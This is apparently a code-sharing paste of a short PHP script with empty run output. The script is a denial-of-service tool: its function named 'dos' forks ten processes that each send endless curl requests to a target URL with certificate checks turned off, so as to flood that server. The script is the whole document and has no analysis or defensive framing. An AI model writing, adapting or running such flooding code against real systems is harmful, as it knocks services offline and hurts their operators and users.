fork download
  1. <?php
  2. ini_set('display_errors', 1);
  3. $url='https://c...content-available-to-author-only...t.dev';
  4. function dos($target) {
  5. global $thread, $url;
  6. while (true) {
  7. try {
  8. $ch = curl_init();
  9. curl_setopt($ch, CURLOPT_URL, $target);
  10. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  11. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  12. curl_exec($ch);
  13. curl_close($ch);
  14. } catch (Exception $e) {
  15. continue;
  16. }
  17. }
  18. }
  19. function main() {
  20. global $url;
  21. for ($i = 0; $i < 10
  22. ; $i++) {
  23. $pid = pcntl_fork();
  24. if ($pid == -1) {
  25. exit(1);
  26. } elseif ($pid) {
  27. continue;
  28. } else {
  29. dos($url);
  30. exit(0);
  31. }
  32. }
  33. }
  34. main();
  35. ?>
  36.  
Success #stdin #stdout 0.04s 25984KB
stdin
Standard input is empty
stdout
Standard output is empty